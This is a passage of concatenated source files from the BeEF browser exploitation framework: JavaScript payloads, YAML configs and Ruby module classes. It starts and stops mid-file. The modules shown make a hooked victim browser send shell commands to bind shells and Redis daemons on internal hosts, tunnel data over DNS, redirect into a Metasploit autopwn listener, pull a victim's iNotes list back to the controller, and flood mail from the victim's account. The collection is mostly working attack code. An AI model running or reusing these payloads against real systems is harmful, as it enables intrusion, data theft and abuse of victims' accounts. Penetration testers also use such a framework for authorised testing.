myExt2.setAttribute("name","</div>");
myExt2.setAttribute("value",end_talkback);
myform.appendChild(myExt2);
myform.submit();
}
// wait <timeout> seconds for iframe url fragment to match #ipc_result=
function waituntilok() {
try {
if (/#ipc_result=/.test(document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.location)) {
ipc_result = document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.location.href;
output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_POSIX_IPC<%= @command_id %>__'));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result="+decodeURI(output.replace(/%0A/gi, "<br>")).replace(/</g, "<").replace(/>/g, ">").replace(/<br>/gi, "<br>"));
document.body.removeChild(iframe);
return;
} else throw("command results haven't been returned yet");
} catch (e) {
internal_counter++;
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');
document.body.removeChild(iframe);
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
// validate target
if (!target_port || !target_ip) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port');
} else if (!beef.net.is_valid_port(target_port)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
// send request and wait for reply
} else {
send_cmds(target_ip, target_port, cmd,result_size);
waituntilok();
}
}); |
YAML | beef/modules/ipec/inter_protocol_posix_bindshell/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
inter_protocol_posix_bindshell:
enable: true
category: "IPEC"
name: "Bindshell (POSIX)"
description: "Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening POSIX shell bound on the target specified in the 'Target Address' input field. <br><br>The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet."
authors: ["bcoles", "wade"]
target:
working: ["FF"]
not_working: ["C", "S", "O", "IE"] |
Ruby | beef/modules/ipec/inter_protocol_posix_bindshell/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# [+] Summary:
#
# Using Inter-protocol Communication (IPC) the zombie browser will send commands to a listening POSIX shell bound on the target specified in the 'Target Address' input. The target address can be on the zombie's subnet which is potentially not directly accessible from the Internet.
#
# The command results are returned to the BeEF control panel.
#
# [+] Tested:
#
# o Working:
# o Mozilla Firefox 6
#
# o Not Working:
# o Mozilla Firefox 6 with the NoScript extension
# o Internet Explorer 8+
# o Chrome 13
# o Opera 11
# o Safari 5
#
# [+] Notes:
#
# o The bindshell is closed once the module has completed. This is necessary otherwise the /bin/sh process will hang. To avoid this issue:
#
# o remove the last "& exit" portion of the JavaScript payload. Be aware that this will leave redundant /bin/sh processes running on the target system.
#
# o The NoScript extension for Firefox aborts the request when attempting to access a host on the internal network and displays the following warning:
#
# [ABE] <LOCAL> Deny on {POST http://localhost:4444/index.html?&/bin/sh&& <<< about:blank - 7}
# SYSTEM rule:
# Site LOCAL
# Accept from LOCAL
# Deny
#
# o Internet Explorer is not supported as IE 8+ does not allow posting data to internal network addresses. Earlier versions of IE have not been tested.
#
# o Returning the shell command results is not supported in Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe. The shell commands are executed on the target shell however.
#
# o This module is incompatible with autorun. Upon completing the shell commands it will load the original hooked window in a child iframe resulting in an additional hook. This will result in an infinite loop if this module is set to autorun.
#
class Inter_protocol_posix_bindshell < BeEF::Core::Command
def self.options
[
{ 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => 'localhost' },
{ 'name' => 'port', 'ui_label' => 'Target Port', 'value' => '4444' },
{ 'name' => 'command_timeout', 'ui_label' => 'Timeout (s)', 'value' => '30' },
{ 'name' => 'cmd', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: the semicolons are required to seperate commands', 'type' => 'textarea',
'value' => 'echo ID: ; id', 'width' => '200px' },
{ 'name' => 'result_size', 'ui_label' => 'Result Size', 'description' => 'Expected maximum size of the result in bytes', 'value' => '1024' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result'] unless @datastore['result'].nil?
content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?
content['fail'] = 'No data was returned.' if content.empty?
save content
end
end |
JavaScript | beef/modules/ipec/inter_protocol_redis/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// validate payload
try {
var cmd = '<%= @commands.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
// validate target host
var rhost = "<%= @rhost %>";
if (!rhost) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');
return;
}
// validate target port
var rport = "<%= @rport %>";
if (!beef.net.is_valid_port(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
return;
}
// validate timeout
var timeout = "<%= @timeout %>";
if (isNaN(timeout)) timeout = 30;
// send commands
var redis_ipec_form_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", cmd);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redis commands sent');
// clean up
cleanup = function() {
document.body.removeChild(redis_ipec_form_<%= @command_id %>);
}
setTimeout("cleanup()", timeout * 1000);
}); |
YAML | beef/modules/ipec/inter_protocol_redis/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
inter_protocol_redis:
enable: true
category: "IPEC"
name: "Redis"
description: "Using Inter-Protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening Redis daemon on the target specified in the 'Target Address' input field.<br/><br/>The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the Redis commands are not returned to BeEF.<br/><br/>Note: Use '\\n' to seperate Redis commands and '\\\\n' for new lines."
authors: ["bcoles"]
target:
working: ["FF", "C"]
not_working: ["IE"]
unknown: ["S", "O"] |
Ruby | beef/modules/ipec/inter_protocol_redis/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Inter_protocol_redis < BeEF::Core::Command
def self.options
cmd = 'set server:name "BeEF says:\\\\nm00!"\\nquit\\n'
[
{ 'name' => 'rhost', 'ui_label' => 'Target Address', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '6379' },
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
{ 'name' => 'commands', 'ui_label' => 'Redis commands', 'description' => "Enter Redis commands to execute. Note: Use '\\n' to seperate Redis commands and '\\\\n' for new lines.",
'type' => 'textarea', 'value' => cmd, 'width' => '200px' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result'] unless @datastore['result'].nil?
content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?
save content
end
end |
JavaScript | beef/modules/ipec/inter_protocol_win_bindshell/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// validate payload
try {
var cmd = '<%= @commands.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
// validate target host
var rhost = "<%= @rhost %>";
if (!rhost) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');
return;
}
// validate target port
var rport = "<%= @rport %>";
if (!beef.net.is_valid_port(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
return;
}
// validate timeout
var timeout = "<%= @timeout %>";
if (isNaN(timeout)) timeout = 30;
// send commands
var win_ipec_form_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html?&cmd&", cmd + " & exit");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Shell commands sent');
// clean up
cleanup = function() {
document.body.removeChild(win_ipec_form_<%= @command_id %>);
}
setTimeout("cleanup()", timeout * 1000);
}); |
JavaScript | beef/modules/ipec/inter_protocol_win_bindshell/command.old.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// This is the old module which supports bi-directional communications for Firefox before version ~16
beef.execute(function() {
var target_ip = "<%= @ip %>";
var target_port = "<%= @port %>";
var cmd = "<%= @cmd %>";
var timeout = "<%= @command_timeout %>";
var internal_counter = 0;
cmd += " & echo __END_OF_WIN_IPC<%= @command_id %>__ & echo </pre>\"\" & echo <div id='ipc_content'>\"\"";
var iframe = document.createElement("iframe");
iframe.setAttribute("id","ipc_win_window_<%= @command_id %>");
iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");
document.body.appendChild(iframe);
function do_submit(ip, port, content) {
var action = "http://" + ip + ":" + port + "/index.html?&cmd&";
var parent = window.location.href;
myform=document.createElement("form");
myform.setAttribute("name","data");
myform.setAttribute("method","post");
myform.setAttribute("enctype","multipart/form-data");
myform.setAttribute("action",action);
document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform);
myExt = document.createElement("INPUT");
myExt.setAttribute("id",<%= @command_id %>);
myExt.setAttribute("name",<%= @command_id %>);
myExt.setAttribute("value",content);
myform.appendChild(myExt);
myExt = document.createElement("INPUT");
myExt.setAttribute("id","endTag");
myExt.setAttribute("name","</div>");
myExt.setAttribute("value","echo <scr"+"ipt>window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\"ipc_content\").innerHTML);</"+"script>\"\" & exit");
myform.appendChild(myExt);
myform.submit();
}
function waituntilok() {
try {
if (/#ipc_result=/.test(document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.location)) {
ipc_result = document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.location.href;
output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_WIN_IPC<%= @command_id %>__'));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result="+decodeURI(output.replace(/%0A/gi, "<br>")).replace(/</g, "<").replace(/>/g, ">").replace(/<br>/gi, "<br>"));
document.body.removeChild(iframe);
return;
} else throw("command results haven't been returned yet");
} catch (e) {
internal_counter++;
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');
document.body.removeChild(iframe);
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
// validate target host
if (!target_ip) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');
return;
}
// validate target port
if (!target_port || target_port > 65535 || target_port < 0 || isNaN(target_port)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
return;
}
// send commands
do_submit(target_ip, target_port, cmd);
waituntilok();
}); |
YAML | beef/modules/ipec/inter_protocol_win_bindshell/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
inter_protocol_win_bindshell:
enable: true
category: "IPEC"
name: "Bindshell (Windows)"
description: "Using Inter-Protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening Windows shell bound on the target specified in the 'Target Address' input field.<br/><br/>The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: ampersands are required to seperate commands."
authors: ["bcoles", "wade"]
target:
working: ["FF", "C"]
not_working: ["S", "O", "IE"] |
Ruby | beef/modules/ipec/inter_protocol_win_bindshell/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue:
# - use the netcat persistent listen "-L" option rather than the listen "-l" option; or
# - remove the "& exit" portion of the JavaScript payload. Be aware that this will leave redundant cmd.exe processes running on the target system.
#
# Returning the shell command results is not supported in Firefox ~16+, IE, Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe due to content-type restrictions. The shell commands are executed on the target shell however.
class Inter_protocol_win_bindshell < BeEF::Core::Command
def self.options
[
{ 'name' => 'rhost', 'ui_label' => 'Target Address', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '4444' },
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '30' },
{ 'name' => 'commands', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: ampersands are required to seperate commands', 'type' => 'textarea',
'value' => 'echo User: & whoami & echo Directory Path: & pwd & echo Directory Contents: & dir & echo HostName: & hostname & ipconfig & netstat -an', 'width' => '200px' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result'] unless @datastore['result'].nil?
content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?
save content
end
end |
JavaScript | beef/modules/ipec/s2c_dns_tunnel/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
This JavaScript retreives data from a server via DNS covert channel.
A remote controlled domain with a custom DNS server implementing covert channel logic is required.
BeEF supports this feature via Server-to-Client DNS Tunnel extension.
The initial concept of the DNS covert channell and its implementation are described in the following literature:
- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf
- W. Alkorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091
*/
beef.execute(function() {
var payload_name = "<%= @payload_name %>";
var domain = "<%= @zone %>";
var scheme = beef.net.httpproto;
var port = beef.net.port;
var cid = "<%= @command_id %>";
var curl = "<%= @command_url %>";
var messages = new Array();
var bits = new Array();
var bit_transfered = new Array();
var timing = new Array();
// Do the DNS query by reqeusting an image
send_query = function(fqdn, msg, byte, bit) {
var img = new Image;
var fport = "";
if (port !== "80") fport = ":"+port;
img.src = scheme+"://" + fqdn + fport + "/tiles/map";
img.onload = function() { // successful load so bit equals 1
bits[msg][bit] = 1;
bit_transfered[msg][byte]++;
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
}
img.onerror = function() { // unsuccessful load so bit equals 0
bits[msg][bit] = 0;
bit_transfered[msg][byte]++;
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
}
};
// Construct DNS names based on Active Directory SRV resource records pattern and resolv them via send_query function
// See http://technet.microsoft.com/en-us/library/cc961719.aspx
function get_byte(msg, byte) {
bit_transfered[msg][byte] = 0;
var rnd8 = getRandomStr(8);
var rnd12 = getRandomStr(12);
// Request the byte one bit at a time
for(var bit=byte*8; bit < (byte*8)+8; bit++){
// Set the message number (hex)
msg_str = ("" + msg.toString(16)).substr(-8);
// Set the bit number (hex)
bit_str = ("" + bit.toString(16)).substr(-8);
// Build the subdomain
subdomain = "_ldap._tcp." + rnd8 + "-" + msg_str + "-" + cid + "-" + bit_str + "-" + rnd12;
// Build the full domain
name = subdomain + '.domains._msdcs.'+ domain;
send_query(name, msg, byte, bit)
}
}
// Construct random sring
function getRandomStr(n){
return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12)));
}
// Build the environment and request the message
function get_message(msg) {
// Set variables for getting a message
messages[msg] = "";
bits[msg] = new Array();
bit_transfered[msg] = new Array();
timing[msg] = (new Date()).getTime();
get_byte(msg, 0);
}
// Build the data returned from the binary results
function reconstruct_byte(msg, byte){
var char = 0;
// Build the last byte requested
for(var bit=byte*8; bit < (byte*8)+8; bit++){
char <<= 1;
char += bits[msg][bit] ;
}
// Message is terminated with a null byte (all failed DNS requests)
if (char != 0) {
// The message isn't terminated so get the next byte
messages[msg] += String.fromCharCode(char);
get_byte(msg, byte+1);
}
else {
// The message is terminated so finish
delta = ((new Date()).getTime() - timing[msg])/1000;
bytes_per_second = "" +
((messages[msg].length + 1) * 8)/delta;
// Save the message in the Window
if (window.hasOwnProperty(payload_name))
window[payload_name] = messages[msg]
else
Object.defineProperty(window,payload_name, { value: messages[msg],
writable: true,
enumerable: false });
beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second);
}
}
get_message(0);
}); |
YAML | beef/modules/ipec/s2c_dns_tunnel/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
s2c_dns_tunnel:
enable: true
category: "IPEC"
name: "DNS Tunnel: Server-to-Client"
description: "This module retreives data sending by server over DNS covert channel (DNS tunnel).<br/><br/> A payload name and message are taken as input. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/>Note: To use this feature you should enable S2C DNS Tunnel extension."
authors: ["dnkolegov"]
target:
working: "All" |
Ruby | beef/modules/ipec/s2c_dns_tunnel/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class S2c_dns_tunnel < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
zone = @configuration.get('beef.extension.s2c_dns_tunnel.zone')
[
{ 'name' => 'payload_name', 'ui_label' => 'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'dnsTunnelPayload' },
{ 'name' => 'zone', 'ui_label' => 'Zone', 'type' => 'hidden', 'width' => '400px', 'value' => zone },
{ 'name' => 'data', 'ui_label' => 'Message', 'type' => 'textarea',
'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' \
'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' \
'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' \
'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat ' \
'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',
'width' => '400px', 'height' => '100px' }
]
end
def pre_send
@configuration = BeEF::Core::Configuration.instance
enable = @configuration.get('beef.extension.s2c_dns_tunnel.enable')
raise ArgumentError, 's2c_dns_tunnel extension is disabled' if enable != true
# gets the value configured in the module configuration by the user
@datastore.each do |input|
@data = input['value'] if input['name'] == 'data'
end
BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.store(@command_id.to_i, @data.unpack1('B*'))
end
def post_execute
# gets the value of command_id from BeEF database and delete the message from DNS "database"
cid = @datastore['cid'].to_i
BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.delete(cid)
end
end |
JavaScript | beef/modules/metasploit/browser_autopwn/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var url = '<%= @sploit_url %>';
if (!/https?:\/\//i.test(url)) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=invalid url");
return;
}
var sploit = beef.dom.createInvisibleIframe();
sploit.src = url;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
}); |
YAML | beef/modules/metasploit/browser_autopwn/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
browser_autopwn:
enable: false
category: "Metasploit"
name: "Browser AutoPwn"
description: "This module will redirect a user to the autopwn port on a Metasploit listener and then rely on Metasploit to handle the resulting shells. If the Metasploit extension is loaded, this module will pre-populate the URL to the pre-launched listener. Otherwise, enter the URL you would like the user to be redirected to."
authors: ["sussurro"]
target:
working: ["ALL"] |
Ruby | beef/modules/metasploit/browser_autopwn/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Browser_autopwn < BeEF::Core::Command
def self.options
@conf = BeEF::Core::Configuration.instance
@uri = 'Enter AutoPwn URL Here'
if @conf.get('beef.extension.metasploit.enable')
host = @conf.get('beef.extension.metasploit.callback_host')
url = @conf.get('beef.extension.metasploit.autopwn_url')
@uri = "http://#{host}:8080/#{url}"
end
[
{ 'name' => 'sploit_url', 'description' => 'The URL to exploit', 'ui_label' => 'Listener URL', 'value' => @uri, 'width' => '200px' }
]
end
# This method is being called when a hooked browser sends some
# data back to the framework.
#
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/blockui/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var timeout = '<%= @timeout %>' * 1000;
var blockui = function() {
$j.blockUI({ message: decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@message) %>')) });
setTimeout("$j.unblockUI();", <%= @timeout %> * 1000);
}
blockui();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent');
}); |
YAML | beef/modules/misc/blockui/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
blockui:
enable: true
category: "Misc"
name: "BlockUI Modal Dialog"
description: "This module uses jQuery <a href='https://github.com/malsup/blockui/'>BlockUI</a> to block the window and display a message."
authors: ["bcoles"]
target:
user_notify: ["ALL"] |
Ruby | beef/modules/misc/blockui/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Blockui < BeEF::Core::Command
def self.options
[
{ 'name' => 'message', 'ui_label' => 'Message', 'type' => 'textarea', 'value' => '<p>Please wait while your data is being saved...</p>', 'width' => '400px',
'height' => '100px' },
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '30', 'width' => '400px' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end |
JavaScript | beef/modules/misc/ibm_inotes/extract_inotes_list/command.js | //
// Copyright (c) 2006-2023Wade Alcorn [email protected]
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var startdate = '<%= @startdate %>';
var enddate = '<%= @endddate %>';
var count = '<%= @count %>';
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
try {
var notesURL = arr[1];
var xhr = new XMLHttpRequest();
xhr.open('GET', notesURL+'/%28$All%29?ReadViewEntries&KeyType=time&StartKey='+startdate+'T000000Z&UntilKey='+enddate+'T000000Z&Count='+count, true);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Error: "+xhr.status);
}
}
xhr.send(null);
} catch(e) {
beef.debug("Error: " + e);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Error: "+e);
}
}); |
YAML | beef/modules/misc/ibm_inotes/extract_inotes_list/config.yaml | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
extract_inotes_list:
enable: true
category: ["Misc", "IBM iNotes"]
name: "Extract iNotes list"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to extract a list of notes."
authors: ["Bart Leppens"]
target:
working: ['ALL'] |
Ruby | beef/modules/misc/ibm_inotes/extract_inotes_list/module.rb | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Extract_inotes_list < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'name' => 'name', 'html' => 'Provide date boundaries to retrieve a list of Notes:' },
{ 'type' => 'textfield', 'name' => 'startdate', 'ui_label' => 'startdate yyyymmdd', 'value' => '20140101' },
{ 'type' => 'textfield', 'name' => 'enddate', 'ui_label' => 'enddate yyyymmdd', 'value' => '20500101' },
{ 'type' => 'textfield', 'name' => 'count', 'ui_label' => 'number of items returned', 'value' => '-1' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/ibm_inotes/inotes_flooder/command.js | //
// Copyright (c) 2006-2023Wade Alcorn [email protected]
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var to = "<%= CGI::escape(@to) %>";
var subject = "<%= CGI::escape(@subject) %>";
var body = "<%= CGI::escape(@body) %>";
var delay = "<% @delay %>";
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
try {
var notesURL = arr[1];
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to start flooding.');
(function flood() {
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
xhr.send(post_data);
setTimeout( flood, delay );
})();
} catch(e) {
beef.debug("[IBM Notes Flooder] Error: " + e);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Flooder failed. Error: ' + e);
}
}); |
YAML | beef/modules/misc/ibm_inotes/inotes_flooder/config.yaml | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
inotes_flooder:
enable: true
category: ["Misc","IBM iNotes"]
name: "Flooder"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to flood notes to someone."
authors: ["Bart Leppens"]
target:
working: ['ALL'] |
Ruby | beef/modules/misc/ibm_inotes/inotes_flooder/module.rb | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Inotes_flooder < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone with an attachment:' },
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => '' },
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => '' },
